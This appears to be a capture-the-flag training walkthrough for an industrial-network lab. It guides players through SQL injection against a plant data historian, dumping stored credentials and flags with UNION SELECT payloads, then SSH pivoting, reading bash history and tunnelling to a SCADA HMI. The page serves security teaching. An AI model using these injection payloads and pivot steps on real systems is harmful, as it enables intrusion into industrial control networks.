Challenge 3 - Pivot to OT
Points: 300
Protocol: SQLi + SSH
Difficulty: Intermediate
The Story
You have credentials for the plant’s data historian - a database that stores all process data. Historians are gold mines for attackers because they often have weak security and contain credentials for other systems. Time to exploit it and pivot deeper into the OT network.
What You Know (from Challenge 2)
- Historian at
10.0.2.10:8080with credentialshistorian / hist0ry! - Jump Host at
10.0.2.20with SSH open - SCADA HMI at
10.0.3.10:8080
Step 1: Login to the Historian
Open it in your browser and login with the credentials you found.
How?
``` http://10.0.2.10:8080 Username: historian Password: hist0ry! ```You should see a process data dashboard with a Query page.
Step 2: Test for SQL Injection
The Query page has a “Filter by Source” input field. Pentesters always test input fields for injection vulnerabilities.
Hint: What happens if you put a single quote ' in the field?
What to try?
Type this in the Source field: ``` ' ``` If you get a SQL error - the input is not sanitized. It's injectable.Step 3: Extract Data with UNION SELECT
SQL injection lets you read any table in the database. But you need to match the column count.
Hint: Try increasing the number of columns in a UNION SELECT until it works.
How many columns?
The table has 10 columns. Try: ``` ' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- ```Step 4: Find Hidden Tables
What tables exist in this database? The database schema tells you.
How to list tables?
``` zzz' UNION SELECT name,1,1,1,1,1,1,1,1,1 FROM sqlite_master WHERE type='table' -- ``` Look for interesting table names like `credentials`, `flags`, `users`.Step 5: Dump the Credentials
You found a credentials table. What’s in it?
How to dump it?
First find the columns: ``` zzz' UNION SELECT replace(sql,char(10),' '),1,1,1,1,1,1,1,1,1 FROM sqlite_master WHERE name='credentials' -- ``` Then dump the data: ``` zzz' UNION SELECT service,host||':'||port,username,password,notes,1,1,1,1,1 FROM credentials -- ```Write down every credential you find - you need them for pivoting.
Step 6: Don’t Forget the Flags Table
There’s also a flags table worth checking.
Query?
``` zzz' UNION SELECT id,flag,'3','4','5','6','7','8','9','10' FROM flags -- ```Step 7: Pivot via SSH
You found SSH credentials. Use them to move deeper into the network.
Hint: Start with the Jump Host, then look around - check bash history for clues about where previous users connected.
SSH commands?
```bash ssh maintenance@10.0.2.20 # password: maint2024! ``` Once on the Jump Host: ```bash cat ~/.bash_history ``` Then pivot to the next host you find in the history.Step 8: Access the SCADA HMI
You’ve pivoted to the SCADA zone. The HMI is a web application - but your laptop can’t reach it directly. You need an SSH tunnel.
Hint: SSH tunnels forward a local port through a remote host.
How to tunnel?
From your Kali terminal (not inside the jump host): ```bash sshpass -p 'maint2024!' ssh -f -N -L 8080:10.0.3.10:8080 maintenance@10.0.2.20 ``` Then open Firefox: ``` http://localhost:8080 ``` Login with the SCADA credentials you found in the SQL dump.Explore the HMI - it has multiple tabs showing different parts of the plant.
What You Learned
- SQL injection can extract entire databases
- Credentials stored in plaintext are common in industrial systems
- SSH tunneling lets you pivot between network zones
- Bash history reveals what previous users did
- One compromised system leads to the next - this is how real attacks chain
Scoreboard
Updates when the SCADA HMI login is detected.